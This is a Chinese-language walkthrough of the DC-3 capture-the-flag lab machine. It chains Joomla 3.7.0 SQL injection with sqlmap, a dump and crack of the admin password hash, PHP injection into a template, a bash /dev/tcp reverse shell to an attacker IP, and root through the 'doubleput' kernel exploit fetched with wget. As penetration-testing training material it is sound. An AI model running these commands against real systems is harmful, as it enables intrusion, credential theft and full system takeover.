DC-3-2靶机复现
字数 1548 2025-08-30 06:50:28
DC-3-2靶机渗透测试教学文档
靶机环境配置
- 虚拟机设置问题:
- 启动靶机时可能遇到问题,需要在CD/DVD设置中将高级选项里的IDE改为0:0
信息收集阶段
1. 扫描主机IP
arp-scan -l
2. 端口扫描
nmap 192.168.130.151
- 发现只开放了80端口
3. 目录扫描
dirsearch -u 192.168.130.151 -i,200
- 发现重要文件/目录:
- /robots.txt.dist
- /administrator/
4. 检查robots文件
访问:http://192.168.130.151/robots.txt.dist
5. 检查后台登录页面
访问:http://192.168.130.151/administrator/
- 发现是Joomla CMS的后台登录页面
6. 初步SQL注入测试
sqlmap -u http://192.168.130.151/administrator/index.php --data="username=1&passwd=1" --batch
- 未发现注入点
7. Joomla版本识别
apt install joomscan
joomscan -u 192.168.130.151
- 识别出版本为Joomla 3.7.0
8. 查找已知漏洞
searchsploit joomla 3.7.0
- 发现可利用的SQL注入漏洞(42033.txt)
SQL注入攻击
1. 下载漏洞利用说明
searchsploit -m 42033.txt
cat 42033.txt
2. 利用SQL注入获取数据库信息
sqlmap -u "http://192.168.130.151/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
- 发现数据库:joomladb
3. 获取表信息
sqlmap -u "http://192.168.130.151/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb -tables
- 发现users表
4. 获取列信息(注意两种不同语法)
# 第一种语法(可能失败)
sqlmap -u "http://192.168.130.151/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] -D "joomladb" -T "#__users" --columns
# 第二种语法(成功)
sqlmap -u "http://192.168.130.151/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
5. 导出用户名和密码哈希
sqlmap -u "http://192.168.130.151/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" -C "username,password" --dump
- 获取admin的密码哈希:
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
6. 破解密码哈希
使用John the Ripper破解:
john --format=bcrypt hash.txt
- 破解出密码:snoopy
后台访问与Getshell
1. 登录后台
使用admin/snoopy登录http://192.168.130.151/administrator/
2. 模板编辑漏洞利用
- 在模板编辑功能中插入PHP代码:
<?php phpinfo(); ?>
3. 确定模板文件路径
尝试路径:
/administrator/templates/- 内容不符/templates/beez3/- 无报错,确认存在
4. 验证PHP执行
访问:http://192.168.130.151/templates/beez3/jsstrings.php
- 确认PHP代码执行成功
5. 上传反弹Shell
修改jsstrings.php文件内容为:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.130.128/8888 0>&1'"); ?>
6. 设置监听
nc -lvnp 8888
- 访问jsstrings.php页面获取Shell
权限提升
1. 系统信息收集
uname -a
lsb_release -a
- 内核版本:Linux 4.4.x
- 发行版本:Ubuntu 16.04
2. 查找内核漏洞
searchsploit ubuntu 16.04
- 发现可用漏洞:Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation (39772.txt)
3. 下载漏洞利用代码
searchsploit -m 39772.txt
cat 39772.txt
- 获取脚本下载地址:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
4. 上传漏洞利用代码到靶机
两种方法:
-
方法一:
- 在Kali上下载到指定目录:
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip -O "/home/zh1yu/39772.zip"- 启动Python简易HTTP服务器:
python2 -m SimpleHTTPServer 9999- 在靶机上下载:
wget http://192.168.130.128:9999/39772.zip -O /var/www/html/templates/beez3/39772.zip -
方法二(直接下载):
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip -O /var/www/html/templates/beez3/39772.zip
5. 执行提权操作
cd /var/www/html/templates/beez3
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
- 成功提权
6. 查找flag
cd ~
cat the-flag.txt
技术要点总结
-
脚本执行路径说明:
compile.sh:Shell会按照PATH环境变量定义的目录顺序搜索可执行文件./compile.sh:显式指定当前目录,完全绕过PATH搜索
-
PATH不包含当前目录的原因:
- 安全考虑,防止恶意程序劫持命令(如当前目录下的恶意ls覆盖系统命令)
-
关键路径:
- Joomla模板路径:
/var/www/html/templates/beez3/ - 提权脚本必须放在web可写目录执行
- Joomla模板路径: